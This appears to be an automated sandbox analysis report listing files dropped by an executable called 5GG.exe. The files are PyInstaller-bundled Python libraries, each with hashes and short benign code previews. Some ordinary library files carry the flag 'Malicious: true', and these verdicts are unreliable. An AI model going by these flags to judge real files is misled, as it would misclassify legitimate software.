Preview:	o.......m..e.-.......................@...s....d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.d.d.d.d.d.d.d.d.d.d...Z.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.d...Z.e...e.j.e.e.....e...e.j.e.....e...d.e.....e...d.e.....e...e.j.g.d.......e...e.j.d.....d.S.)......)...annotations.....)...Image..ImageFile)...i16be)...o8)...o32les.... .......1..L..RGBZ.CMYK..P..RGBA)......P1.....P2.....P3.....P4.....P5.....P6s....P0CMYKs....PyPs....PyRGBAs....PyCMYKc....................C...s....\|.d.d.....d.k.o.\|.d...d.v.S.).Nr....r.........Ps....0123456y..)...prefixr....r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/PpmImagePlugin.py.._accept-...s......r....c....................@...s,...e.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...PpmImageFileZ.PPMz.Pbmplus imagec....................C...s<...d.}.t.d...D.].}.\|.j...d...}.\|.r.\|.t.v.r...\|.S.\|.\|.7.}.q.\|.S.).N..........r....)...range..fp..read..b_whitespace)...self..magic.._..cr....r..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PyInstaller\utils\win32\winresource.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7625
Entropy (8bit):	4.682385329193455
Encrypted:	false
SSDEEP:	192:VIqiTpGpuqeQrIAky0j661GezMOxDwyMezMXO7R7:VIxpGXBIAky86OGCrDwyMCkOV7
MD5:	A52E103E093DFA39E05806671E7C6073
SHA1:	75C32E9D835F42E701FE1271C715E4D7392C1E24
SHA-256:	0DC03451E865C63A14E2CFA644F739D641EB41C1D8D0612601D7469D84DE9329
SHA-512:	9E8E67ADAF9859EE8A72506F26D9FD9F65121E7153E6127058FB2D72638A01924DF8D4102869E302010533640F35FFA63B759B7E1573E6657DE8046B41B10024
Malicious:	true
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2013-2023, PyInstaller Development Team..#.# Distributed under the terms of the GNU General Public License (version 2.# or later) with exception for distributing the bootloader..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception).#-----------------------------------------------------------------------------.""".Read and write resources from/to Win32 PE files.."""..import PyInstaller.log as logging.from PyInstaller.compat import pywintypes, win32api..logger = logging.getLogger(__name__)..LOAD_LIBRARY_AS_DATAFILE = 2.ERROR_BAD_EXE_FORMAT = 193.ERROR_RESOURCE_DATA_NOT_FOUND = 1812.ERROR_RESOURCE_TYPE_NOT_FOUND = 1813.ERROR_RESOURCE_NAME_NOT_FOUND = 1814.ERROR_RESOURCE_LANG_NOT_FOUND = 1815...def get_resources(filename, types=None, names=None, languages=None):. """. Retrieve resources from

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PyInstaller\utils\win32\winutils.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9175
Entropy (8bit):	4.953083350730418
Encrypted:	false
SSDEEP:	192:V99A8YzarNSfH6V9oqcRmfvEMpFu6c0d2BYvhrE4:V3HYzarIyiqEs8t/0dUYt
MD5:	2C71B17A4C554C8ADBE664DC0DB06CFB
SHA1:	7CC7B266862B964CF7C8275F8EF6017AA9AF472F
SHA-256:	49253FAE8B632741289B2D4D9F5A0F47117BAAD01EFFB50C5B2010B2BFC16507
SHA-512:	A093A648AD9596BFE02C7C0FE05837BB66B648DCE0C499867FB78AB1978FCA97BEF1BD798442166389DBA7F542C1375FFEAA33F0D925CDD14A21688CDAE19787
Malicious:	true
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2013-2023, PyInstaller Development Team..#.# Distributed under the terms of the GNU General Public License (version 2.# or later) with exception for distributing the bootloader..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception).#-----------------------------------------------------------------------------.""".Utilities for Windows platform.."""..from PyInstaller import compat...def get_windows_dir():. """. Return the Windows directory, e.g., C:\\Windows.. """. windir = compat.win32api.GetWindowsDirectory(). if not windir:. raise SystemExit("Error: Cannot determine Windows directory!"). return windir...def get_system_path():. """. Return the required Windows system paths.. """. sys_dir = compat.win32api.GetSystemDirectory(). # Ensure C:\Windows\system

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycache\_virtualenv.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2811
Entropy (8bit):	5.439789550289612
Encrypted:	false
SSDEEP:	48:/4fxEHtk3/7jhYXIEh+NpiqYwvgG8jT62hjctf3QiTyfYs4:qGEjkI1zJj8jO2hjcV3Q65v
MD5:	4CC616CAAFD6F6EDB837BB5F0BB2D340
SHA1:	277332ADE62A7EEFA090078D6D5A1001C837C973
SHA-256:	AE4AAB50F48924AD3A73307BAE53ECA05CD0C11EDD75FCE57669396867BEB42B
SHA-512:	47EA4CD3A47C098BD36AC80887E295E65E154E4F05F028C9B12F481FC9F15B09E2493039C45AA1A1CE5691494C9607CE3E7D4796730DDC1D8BB798E3B6A2DDBF
Malicious:	false
Preview:	o.......=..eO........................@...sf...d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.j...e...Z.d.d...Z.d.Z.G.d.d...d...Z.e.j...d.e.......d.S.).z?Patches that are applied at runtime to the virtual environment......)...annotationsN)...suppressc........................s ...\|.j.j.....f.d.d...}.\|.\|.j._.d.S.).a..... Distutils allows user to configure some arguments via a configuration file:. https://docs.python.org/3/install/index.html#distutils-configuration-files... Some of this arguments though don't make sense in context of the virtual environment files, let's fix them up.. c........................sj.....\|.g.\|...R.i.\|.....}.\|...d...}.d.\|.v.r.t.t.j...t.j...f.\|.d.<.d.D.].}.d.\|.....}.\|.\|.v.r2\|...\|.d.....q!\|.S.).N..install..prefix).Z.purelibZ.platlibZ.headersZ.scripts..dataZ.install_).Z.get_option_dict..VIRTUALENV_PATCH_FILE..os..path..abspath..sysr......pop)...self..args..kwargs..resultr......base..key..Z.old_parse_config_files...N...F:\python\1 .......\Cheat Chec

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycache\bottle.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	145344
Entropy (8bit):	5.378983973773528
Encrypted:	false
SSDEEP:	1536:paMgodHdgsNW0+b0N5Xs1Q3u/aoYtsgtt9YhncYx7Oq8W5:pa7odHlNWnYNK1QtoEnkhcw7Oq8W5
MD5:	64E52D1FAF84981B9397861001A6BA7A
SHA1:	63ABA016F541EC56B832B1EC6BBB787CDEC01BEF
SHA-256:	71CF69322349C1A44B66AE583D6429FF916F2491C3943E387D32BE0490A4DB27
SHA-512:	87CA1A83624EB0FE5AC3CCD7902D065AB97F5883799B19BB281CE7880598819FA2EC894B9219FA05BEFCB0B130DCA75193D8A53E4D9A211C25E79D551D96EBB5
Malicious:	false
Preview:	o.........e.Q.......................@...s....d.Z.d.d.l.m.Z...d.Z.d.Z.d.Z.e.d.k.red.d.l.m.Z...e.d.d...Z.e.j.Z.e.d.d.d.d.....e.d.d.d.d.d.....e.d.d.d.d.d.....e.d.d.d.d.d.....e.d.d.d.d.....e.d.d.d.d.....e.....\.Z.Z.e.j.ree.j...d ..red.d!l.Z.e.j.......d.d!l.Z.d.d!l.Z.d.d!l.Z.d.d!l.Z.d.d!l.Z.d.d!l.Z.d.d!l.Z.d.d!l.Z.d.d!l.Z.d.d!l.Z.d.d!l Z d.d!l!Z!d.d!l"Z"d.d!l#Z#d.d!l$Z$d.d!l%Z%d.d"l&m'Z(m&Z&m)Z)..d.d#l!mZ..d.d$l+m,Z,m-Z-..d.d%l.m/Z/..z.d.d&l0m1Z2m3Z4..W.n:..e5..y.......z.d.d&l6m1Z2m3Z4..W.n%..e5..y.......z.d.d&l7m1Z2m3Z4..W.n...e5..y.......d'd(..Z2e2Z4Y.n.w.Y.n.w.Y.n.w.e j8Z9e9d)k.Z:e9d*k.Z;d+e9....k...o.d,k.n.....Z<d-d...Z=z.e j>j?e j@j?..ZAZBW.n...eC..yA......d/d0..ZAd1d0..ZBY.n.w.e:..r.d.d!lDmEZF..d.d!lGZHd.d2lImJZJmKZL..d.d3lImMZMmNZOmPZQ..e.jReQd4d5..ZQd.d6lSmTZT..e9d7k...r.d.d8lUmVZW..d.d9lXmYZZ..n.d.d8l[mVZW..d.d:l\mZZZ..d.d!l]Z]d.d;l^m_Z_..d.d<l`maZa..d.d=lbmcZc..d>d?..ZdeeZfeeZgd@d0..ZhdAd0..ZiejZkdBdC..Zlnld.d!lFZFd.d!lHZHd.d2lmmJZJmKZL..d.d3lnmMZMmNZOmPZQ..d.d6lomTZT..d.dDl.mk

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycache\pefile.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	159485
Entropy (8bit):	5.845874635720928
Encrypted:	false
SSDEEP:	3072:mCcTITmeXuTEj0l6ajrjiRX2rbU6Xm+ojC3yU/ka/2rZ3RyEC8:oTKXu4jFmmRX2rb5VojC3yU/ka/2rZ3d
MD5:	F911C33105BC6172745E75CFAEBC1C19
SHA1:	51C1214495E93AF8D9F522A6BCBC8B883CFFC97C
SHA-256:	CE891738F7E703EB03E4E16465C5FEA3BEC4B1879E2EBF4E7A59FEF445E11F28
SHA-512:	48B89F66DD5B07C3D66F5E0309C3B9925A76E3CC434A82524B6E7CA2313C83DED91CF6A7ABAD8E45F0FF8CD80F32DA8B0B1403A5CC1D4E61F3E8D68B050FDF20
Malicious:	false
Preview:	o.........e.t.......................@...s....d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.e...d.e...d.......e.Z.d.d.d...Z.e.d.d...d.d.....Z.e.d.d...d.d.....Z.d.d...Z d.Z!d.Z"d.Z#d.Z$d.Z%d.Z&d.Z'd.Z(d.Z)d.Zd.Z+d Z,d!Z-d"Z.d#Z/d$Z0d%Z1d&Z2d'Z3d(Z4d)Z5dZ6d+d,..Z7g.d-..Z8e7e8..Z9g.d...Z:e7e:..Z;g.d/..Z<e7e<..Z=g.d0..Z>e7e>..Z?g.d1..Z@e7e@..ZAg.d2..ZBe7eB..ZCg.d3..ZDe7eD..ZEg.d4..ZFe7eF..ZGd.ZHg.d5..ZIe7eI..ZJg.d6..ZKe7eK..ZLd.ZMd7ZNd8ZOd9ZPd:ZQd;ZRd<ZSd=ZTd>ZUd?ZVg.d@..ZWe7eW..ZXg.dA..ZYe7eY..ZZg.dB..Z[e7e[..Z\e]e[..Z\e[D.].\.Z^Z_e_e\v...rHe\e_...`e^......q6e^g.e\e_<...q6dCdD..ZadEdF..ZbdGdH..ZcdIdJ..ZddKdL..ZedMdN..ZfG.dOdP..dPeg..ZhG.dQdR..dR..ZiG.dSdT..dTej..ZkG.dUdV..dV..Zld7d7d7d7d8d8d:d:d:d:d:d=d=d=d7dW..Zme.d.d...dXdY....Zne.d.dZd[..d\d]....ZoG.d^d_..d_..ZpG.d`da..daep..Zqe.d.d.d[..dbdc....ZrG.ddde..deep..ZsG.dfdg..dg..ZtG.dhdi..diet..ZuG.djdk

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycache\peutils.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	10229
Entropy (8bit):	5.4981239945343425
Encrypted:	false
SSDEEP:	192:/+eMuAK+3yo99xpWvnLvWrQ+IWzqzDmvqbLwRaKm882imtTya7GSJJ/Y9As:Wef63z9xofL+rQYzEm0ERaT882JJwSJ4
MD5:	A656B58FE0E6E32879F6AAD22442D6C1
SHA1:	3BAAE18218733D0C6AC444094D063F39952D001A
SHA-256:	2341E15CF98B9F41A70D34C651148CBC1E26FB4BC9CB412CB1E7F5E93BE41DD2
SHA-512:	8BE68C8C46C3E75ABB2AACB2C218CCA5F1153CC2B468C5AFA72B1CF4127BC5D7A7C087D092E9859D7700AF2E4153BFDEE0E9A43DF517EB48E11DDCAB3E8F823B
Malicious:	false
Preview:	o.........e.G.......................@...sv...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.e.j.Z.d.Z.G.d.d...d.e...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.peutils, Portable Executable utilities module...Copyright (c) 2005-2023 Ero Carrera <ero.carrera@gmail.com>..All rights reserved.......Nz.Ero Carreraz.ero.carrera@gmail.comc....................@...s~...e.Z.d.Z.d.Z.d.d.d...Z.d.d.d...Z.d.d.d...Z...d.d.d...Z.d d.d...Z.d d.d...Z.d.d...Z.d d.d...Z.d!d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)"..SignatureDatabasea....This class loads and keeps a parsed PEiD signature database... Usage:.. sig_db = SignatureDatabase('/path/to/signature/file').. and/or.. sig_db = SignatureDatabase(). sig_db.load('/path/to/signature/file').. Signature databases can be combined by performing multiple loads... The filename parameter can be a URL too. In that case the. signature database will be downloaded from that location.. Nc....................C...sR...t...d.t.j...\|.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycache\whichcraft.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1954
Entropy (8bit):	5.554981119466025
Encrypted:	false
SSDEEP:	48:DAk3l4dy+3usp5YjGCD07W/ISepR81l1bBJCOwHqc:Jlwy0YCCD07Wgl81fdOHqc
MD5:	43F01194F9AF99C0921A19E70A3FE0DD
SHA1:	BA60092460D2BB51764880F3D52AAC812D222A37
SHA-256:	25B67718BC6F20A34AD1666E2DB8FD6A9B8CCA3581535A4E0614695D397091AD
SHA-512:	69D2F2D72C85AB2C542C2BEF5637C90EEF69E9FA8CDE405C2238B6FE46B1F2A34A0E0284B83EFCE4CF76CD9F0424B0EDC690957B857EA582015F31D711288599
Malicious:	false
Preview:	o.........eA........................@...sZ...d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.m.Z...W.d.S...e.y,......e.j.e.j.B.d.f.d.d...Z.Y.d.S.w.).z.Daniel Roy Greenfeldz.pydanny@gmail.comz.0.6.1.....N)...whichc........................s"...d.d...}.t.j.......r.\|...\|...r...S.d.S.\|.d.u.r.t.j...d.t.j...}.\|.s#d.S.\|...t.j...}.t.j.d.k.r^t.j.\|.v.r:\|...d.t.j.....t.j...d.d.....t.j...}.t...f.d.d...\|.D.....rT..g.}.n...f.d.d...\|.D...}.n...g.}.t...}.\|.D.](}.t.j...\|...}.\|.\|.v.r.\|...\|.....\|.D.].}.t.j...\|.\|...}.\|.\|.\|...r.\|.........S.qyqfd.S.).a....Given a command, mode, and a PATH string, return the path which. conforms to the given mode on the PATH, or None if there is no such. file.. `mode` defaults to os.F_OK \| os.X_OK. `path` defaults to the result. of os.environ.get("PATH"), or can be overridden with a custom search. path.. Note: This function was backported from the Python 3 source code.. c....................S...s&...t.j...\|...o.t...\|.\|...o.t.j...\|.....S..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_cffi_backend.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	181248
Entropy (8bit):	6.188683787528254
Encrypted:	false
SSDEEP:	3072:rZ1fKD8GVLHASq0TTjfQxnkVB0hcspEsHS7iiSTLkKetJb9Pu:rZNRGVb9TTCnaZsuMXiSTLLeD9
MD5:	EBB660902937073EC9695CE08900B13D
SHA1:	881537ACEAD160E63FE6BA8F2316A2FBBB5CB311
SHA-256:	52E5A0C3CA9B0D4FC67243BD8492F5C305FF1653E8D956A2A3D9D36AF0A3E4FD
SHA-512:	19D5000EF6E473D2F533603AFE8D50891F81422C59AE03BEAD580412EC756723DC3379310E20CD0C39E9683CE7C5204791012E1B6B73996EA5CB59E8D371DE24
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ih..-..C-..C-..C$qMC!..C.\|.B/..CKf#C)..C.\|.B&..C.\|.B%..C.\|.B)..Cfq.B)..C.\|.B...C-..C...C.\|.B)..C$qKC,..C.\|.B,..C.\|!C,..C.\|.B,..CRich-..C........PE..d.....e.........." .........@...............................................0............`..........................................g..l...\|g..................H............ .......M...............................M..8............................................text...h........................... ..`.rdata..l...........................@..@.data....\.......0...v..............@....pdata..H...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_distutils_hack\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6299
Entropy (8bit):	4.5545042155632505
Encrypted:	false
SSDEEP:	96:5KauPveem/xBJCPrGXw+5frsfnCUy01LOq6LIrqCWPANPuqlT69Frw:5ePGJ//oKYk0CNsrqoWe69lw
MD5:	2EBA74E3873E30055A6BC93100269712
SHA1:	8CEDF131D0B8E622D9C4870575D1C29E2D6432BE
SHA-256:	46849A60A7CC85189CF6B5AC62B3F135004862CE6A96540A81C95EF6FBC4DC3E
SHA-512:	F06BB53BC6C54B9AC3635C67C69D0B9B7D2D323E59092F9F5F635ECC99210DDCC33955A5ED6FAEF20488A08811CEE3264D098AAADAA190E9BF9746B554A44591
Malicious:	true
Preview:	# don't import any costly modules.import sys.import os...is_pypy = '__pypy__' in sys.builtin_module_names...def warn_distutils_present():. if 'distutils' not in sys.modules:. return. if is_pypy and sys.version_info < (3, 7):. # PyPy for 3.6 unconditionally imports distutils, so bypass the warning. # https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/site.py#L250. return. import warnings.. warnings.warn(. "Distutils was imported before Setuptools, but importing Setuptools ". "also replaces the `distutils` module in `sys.modules`. This may lead ". "to undesirable behaviors or errors. To avoid these issues, avoid ". "using distutils directly, ensure that setuptools is installed in the ". "traditional way (e.g. not an editable install), and/or make sure ". "that setuptools is always imported before distutils.". )...def clear_distutils():. if 'distutils' not

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_distutils_hack\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	7671
Entropy (8bit):	5.090637386326754
Encrypted:	false
SSDEEP:	192:ZBkgPE5v8nIqs8NYd7pqqx0H/8qq/xqqqRuLMJXHge3Ybkqiqqq8n1qUQwqEMlAe:tyv8nIqs+67pqqx0H/8qq/xqqqRuLMX+
MD5:	423B557EFCCE1126D1361879001CDD64
SHA1:	8D422B1721913173DE9C1706B6839DFD4386565E
SHA-256:	B1B8AB7D72408402C6D7B8EA50980222D3B154847D2C7040005B918C790B3814
SHA-512:	D1B6B5D97DB17E04DE58BCFA71587AFD3CD2EC6A3BDC01787540711C1225AE582E916EC99A685BA29DA9BA8FC602B6408A3C308E31ECCFA6B5D1A9D95C08B206
Malicious:	false
Preview:	o.......>..e.........................@...s....d.d.l.Z.d.d.l.Z.d.e.j.v.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.j.D.].Z.e.e.d.e.....e.j.....q2e...Z.d.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.e.j.d.k.r^e.Z.d.S.d.S.)......NZ.__pypy__c....................C...s6...d.t.j.v.r.d.S.t.r.t.j.d.k.r.d.S.d.d.l.}.\|...d.....d.S.).N..distutils)...........r....a....Distutils was imported before Setuptools, but importing Setuptools also replaces the `distutils` module in `sys.modules`. This may lead to undesirable behaviors or errors. To avoid these issues, avoid using distutils directly, ensure that setuptools is installed in the traditional way (e.g. not an editable install), and/or make sure that setuptools is always imported before distutils.)...sys..modules..is_pypy..version_info..warnings..warn).r......r.....[...F:\python\1 .......\Cheat Checker\venv\lib\site-packages\_distutils_hack\__init__.py..warn_distutils_present....s....................r....c.................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_distutils_hack\pycache\override.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	5.0128073752379345
Encrypted:	false
SSDEEP:	6:y/Pe1/KmkFQkXWy+K+px/WqjkDHSC5EgJArQzT+zGZI0:CPe99Mxmy+KCZWq+HS6Egpn+zG20
MD5:	AAD706488FD93DC255FDCF9B7C896FDA
SHA1:	CEF0FD4797951E749C306719EF04D2F3C60AD4BB
SHA-256:	6EDD8ED631841FDAD2D3E4E8D3AD3A9D17B0FB9C6B6396CEBDFC1BB6B919045F
SHA-512:	398EAA567C919ECFCB70994DDE252384AB2C04E15667B5251FAF136EC84658373019941894CA05F042A5CFC6431D73061C5585B7B5B34043520726CFB5E853D0
Malicious:	false
Preview:	o.......>..e,........................@...s....e.d.........d.S.)..._distutils_hackN)...__import__..do_override..r....r.....[...F:\python\1 .......\Cheat Checker\venv\lib\site-packages\_distutils_hack\override.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_distutils_hack\override.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.171453562658727
Encrypted:	false
SSDEEP:	3:5QW6BMW2y+CBhTEu:+96W2y+4hx
MD5:	012A3E19D518D130A36BEAF917A091C7
SHA1:	358F87C599947263E8ADF079CB2131A522876AF8
SHA-256:	12EFECF8D17A5486780AA774B5B6C0E70B56932D8864F35DF1EB7A18BB759B3A
SHA-512:	76D17C1246B920B7E71F196876A2FCD6A3E102F10933CAC558DD993B6AA794766D657B85E0A7E56A71DF5F14C2F95A9E6576D81163509BB42DEC0FC0E49B9998
Malicious:	false
Preview:	__import__('_distutils_hack').do_override().

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	561
Entropy (8bit):	4.5744037023196755
Encrypted:	false
SSDEEP:	12:Ma3NXFhZhvI4QhJ4KrbO+FDHSL6T/fOXYOXv:Ma3FbnvI4QbZbOmDUc4Y4v
MD5:	1D85A787ED67D72B13E837D65849C671
SHA1:	457A1AA7AB23ABA755B1CE6C29D6C9BA3EA59BFA
SHA-256:	890CC0220119A9359403A1484094727B0F7C62B100CAC2EC8AD14887732EB211
SHA-512:	CA56AB34D2A08D02FEEB4F84792528C32163F015C12F6C7DDBF115DBD15658615744794B5BFF26B967E87491E80FC6B42D2A8A710FEFE35368AF8F8EC095328C
Malicious:	false
Preview:	# ------------------------------------------------------------------.# Copyright (c) 2020 PyInstaller Development Team..#.# This file is distributed under the terms of the GNU General Public.# License (version 2.0 or later)..#.# The full license is available in LICENSE.GPL.txt, distributed with.# this software..#.# SPDX-License-Identifier: GPL-2.0-or-later.# ------------------------------------------------------------------..__version__ = '2023.12'.__maintainer__ = 'Legorooj, bwoodsend'.__uri__ = 'https://github.com/pyinstaller/pyinstaller-hooks-contrib'.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.3914169157418765
Encrypted:	false
SSDEEP:	6:y/qQYqe1/Os7qXise2wkOXYOXlTd2kDHSC5EgTdArQfVOX9rFPDsV:CSqe9Os8if2fOXYOXlTdPHS6EgJ9OX9O
MD5:	0AE37394AF99426EC3FEB49C5CA0EAA3
SHA1:	31F7C4DA2F194BEEAB3568D3497FE189588F4A3A
SHA-256:	54658463DE2E53AEB12991D2017AE96F4BA814D4118E300E1C8CE1A7C28C6635
SHA-512:	5935AC0B5688CFEF978FC3CF8F29D7F788374A25237331EF48F68B205A20BDD2E6C06561F72A84516BF22B0CAE1DE45970BBE420E3B16C7EF4BB8CB81D9A0A01
Malicious:	false
Preview:	o.........e1........................@...s....d.Z.d.Z.d.Z.d.S.).z.2023.12z.Legorooj, bwoodsendz8https://github.com/pyinstaller/pyinstaller-hooks-contribN)...__version__Z.__maintainer__..__uri__..r....r.....f...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/__init__.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\pycache\compat.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1163
Entropy (8bit):	5.433514515047409
Encrypted:	false
SSDEEP:	24:oPAG/HeHEMbcT9X04zTQ6PVsYEI4Yo2+6qT3yuMptZ3hXGe3qJH:tGveHy9X04PQKVsu40MryuMptZRWe3qR
MD5:	32FC42A9B77B7D6BC0AFA2DC2C1DD7D6
SHA1:	A73AA4C082DEE6ACD332161EAA33727F8E758CD8
SHA-256:	ACA26D339376F4DD10DF930CD5BAF1910DCF3728302DE241DA1F82BF0622D658
SHA-512:	ABE1071A352D93722D4F2F1E2D23E5DFDE498C6DAA8293B86EAD063AA1F39432CDB2A1EE6008AFB6461564500DCD1DCC41C9FF1CD190B7BFAE46B6C2FFBFDCB8
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.Z.d.d.l.m.Z...e.d...r.d.d.l.m.Z...d.S.G.d.d...d.e...Z.e.j.d.k.r+d.d.l.m.Z...d.S.z.d.d.l.Z.W.n...e.yA..Z...z.e...e...d.Z.[.w.w.d.d.l.Z.e.j...e...d.....e.j...d...k.rXe.....d.S.)......N)...is_module_satisfiesz.PyInstaller >= 6.0)...importlib_metadatac........................s....e.Z.d.Z...f.d.d...Z.....Z.S.)...ImportlibMetadataErrorc........................s....t.....d.....d.S.).Nz.pyinstaller-hooks-contrib requires importlib.metadata from python >= 3.10 stdlib or importlib_metadata from importlib-metadata >= 4.6)...super..__init__)...self....__class__...d...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/compat.pyr........s..........z.ImportlibMetadataError.__init__)...__name__..__module__..__qualname__r......__classcell__r....r....r....r....r........s........r....)...........z.importlib-metadataz.4.6)...sysZ.PyInstaller.utils.hooksr....Z.PyInstaller.compatr......SystemExitr......version_info..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\compat.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1543
Entropy (8bit):	4.643309211730535
Encrypted:	false
SSDEEP:	48:MYqbnvIJbZimUBBDwrFnAh7Sz4PQ5CVzne19aRZrYkGA:Mfnv94vWQ5CVze19aRmkGA
MD5:	969819DD6372AFB9BFB2593C3FBA6C88
SHA1:	D0FF8F8E9C1BCB9729B73CE2FD2ED7E233D453E3
SHA-256:	5B78F373932251D3054FB7ACF71FC8713BA97A5DD35719FD9B71467A633F2452
SHA-512:	157FDC34FDE283C958B646BC639BB9D68FDCAEEFF7ACAF7C41E71F1455B1B16A99F60F5D4B329B184E9F5209B73BDE0B09CE735FE4FD538CDF7786333E98D558
Malicious:	true
Preview:	# ------------------------------------------------------------------.# Copyright (c) 2023 PyInstaller Development Team..#.# This file is distributed under the terms of the GNU General Public.# License (version 2.0 or later)..#.# The full license is available in LICENSE.GPL.txt, distributed with.# this software..#.# SPDX-License-Identifier: GPL-2.0-or-later.# ------------------------------------------------------------------..import sys..from PyInstaller.utils.hooks import is_module_satisfies...if is_module_satisfies("PyInstaller >= 6.0"):. # PyInstaller >= 6.0 imports importlib_metadata in its compat module. from PyInstaller.compat import importlib_metadata.else:. # Older PyInstaller version - duplicate logic from PyInstaller 6.0. class ImportlibMetadataError(SystemExit):. def __init__(self):. super().__init__(. "pyinstaller-hooks-contrib requires importlib.metadata from python >= 3.10 stdlib or ". "importlib_metadata from imp

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	726
Entropy (8bit):	4.525726818430906
Encrypted:	false
SSDEEP:	12:Ma3NXFhZhvI4QhJ4KrbO+F0efs6VCnEXJ3qQR7P36/wv:Ma3FbnvI4QbZbOm9l4n+QQf6/a
MD5:	A3CBC8E52DF568196DF4E4D36AA6E560
SHA1:	2C9F6F75FD5991B6F5C54F9CFA57D1A8210A6E75
